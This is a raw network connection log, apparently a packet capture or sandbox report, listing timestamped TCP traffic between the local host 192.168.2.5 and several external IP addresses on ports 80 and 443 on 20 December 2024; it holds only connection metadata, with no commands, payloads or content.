Dec 20, 2024 02:11:42.564682961 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.564791918 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.564793110 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.564912081 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.565867901 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.565944910 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.566001892 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.566996098 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.567109108 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.567162037 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.568232059 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.568248034 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.568308115 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.568308115 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.569358110 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.569406986 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.569468021 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.569530010 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.570509911 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.570558071 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.570657969 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.570708990 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.571679115 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.571820021 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.571866989 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.572839022 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.573008060 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.573055029 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.573999882 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.574080944 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.574141026 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.574141979 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.575160027 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.575275898 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.575325966 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.575376987 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.576334000 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.576395035 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.576438904 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.576440096 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.577505112 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.577688932 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.577740908 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.578655005 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.578710079 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.578726053 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.578757048 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.578788042 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.578838110 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.578888893 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.579054117 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.579221010 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.579297066 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.579854965 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.579927921 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.579956055 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.579972029 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.580025911 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.580106974 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.580161095 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.580733061 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.580795050 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.580986977 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.581042051 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.581047058 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.581130981 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.581325054 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.581577063 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.581695080 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.581743956 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.582187891 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.582299948 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.582355022 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.582406044 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.582545042 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.582813978 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.583250046 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.583338022 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.583390951 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.583431959 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.583446980 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.583482981 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.583525896 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.584100962 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.584225893 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.584300041 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.585005045 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.585082054 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.585134983 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.585788012 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.585902929 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.586322069 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.586627007 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.586740017 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.586788893 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.587470055 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.587671995 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.587737083 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.588309050 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.588424921 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.588468075 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.589157104 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.589253902 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.589301109 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.589986086 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.590111017 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.590162039 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.590840101 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.590900898 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.591692924 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.591741085 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.591783047 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.591893911 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.592531919 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.592629910 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.592677116 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.593379021 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.593513966 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.593558073 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.594199896 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.594312906 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.594449043 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.595038891 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.595154047 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.595205069 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.595897913 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.595959902 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.596009016 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.596724033 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.596793890 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.596838951 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.597619057 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.597702026 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.597765923 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.598448992 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.598516941 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.598557949 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.599291086 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.599404097 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.599446058 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.600107908 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.600183010 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.600229025 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.600953102 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.601052999 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.601103067 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.601789951 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.601917028 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.601960897 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.602634907 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.602747917 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.602790117 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.603465080 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.603591919 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.603694916 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.604513884 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.604625940 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.604675055 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.605143070 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.605231047 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.605279922 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.606025934 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.606148958 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.606190920 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.606841087 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.606945038 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.606990099 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.607698917 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.607845068 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.607892990 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.608128071 CET	49927	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:42.608527899 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.608623028 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.608823061 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.608910084 CET	49927	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:42.608994961 CET	443	49927	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:42.609122992 CET	49927	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:42.609196901 CET	443	49927	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:42.609328985 CET	49927	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:42.609385014 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.609477997 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.609492064 CET	443	49927	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:42.609527111 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.609672070 CET	49927	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:42.609716892 CET	443	49927	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:42.609925985 CET	49927	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:42.609999895 CET	443	49927	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:42.610194921 CET	49927	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:42.610208988 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.610234022 CET	49927	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:42.610246897 CET	443	49927	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:42.610343933 CET	443	49927	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:42.610402107 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.610491037 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.610572100 CET	49927	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:42.610656023 CET	49927	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:42.611051083 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.611186028 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.611231089 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.611876965 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.611978054 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.612027884 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.612736940 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.612844944 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.612888098 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.613578081 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.613694906 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.613733053 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.614422083 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.614511967 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.614557981 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.615271091 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.615411043 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.615494967 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.616110086 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.616225004 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.616349936 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.616933107 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.617027998 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.617454052 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.617795944 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.617930889 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.617975950 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.618660927 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.618782997 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.618825912 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.619520903 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.619733095 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.619776011 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.620317936 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.620430946 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.620472908 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.621154070 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.621265888 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.621308088 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.621989965 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.622107983 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.622148991 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.622786045 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.647881031 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.647917032 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.647945881 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.647984982 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.648035049 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.648068905 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.648077965 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.648108959 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.648165941 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.648215055 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.648219109 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.648289919 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.648302078 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.648323059 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.648340940 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.648370981 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.648449898 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.648463964 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.648489952 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.648509026 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.648632050 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.648678064 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.648713112 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.648732901 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.648772001 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.648833036 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.648858070 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.648890972 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.648917913 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.648931980 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.649048090 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.649157047 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.649199009 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.649276972 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.649322987 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.649490118 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.649586916 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.649677992 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.649724960 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.649748087 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.649832964 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.649960041 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.649971008 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.649972916 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.650037050 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.650094032 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.650106907 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.650131941 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.650135040 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.650161982 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.650187016 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.650333881 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.650382042 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.651380062 CET	443	49927	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:42.651626110 CET	49927	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:42.651741982 CET	49927	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:42.651772976 CET	49927	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:42.663913965 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.693953991 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.695174932 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.695333004 CET	443	49927	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:42.695544004 CET	49927	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:42.695621014 CET	49927	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:42.695656061 CET	49927	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:42.719080925 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:42.719151974 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:42.743331909 CET	443	49927	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:42.767699957 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.767772913 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.767853022 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.767899036 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.767914057 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.767962933 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.768033981 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.768201113 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.768337011 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.768609047 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.768651962 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.768775940 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.768882036 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.769130945 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.769217014 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.769283056 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.769397020 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.769419909 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.769608974 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.769653082 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.769802094 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.769814968 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.769828081 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.769948006 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.769961119 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.770003080 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.770086050 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.770195961 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.770209074 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.770224094 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.770262003 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.770273924 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:42.770293951 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:42.770318985 CET	80	49929	147.45.113.159	192.168.2.5
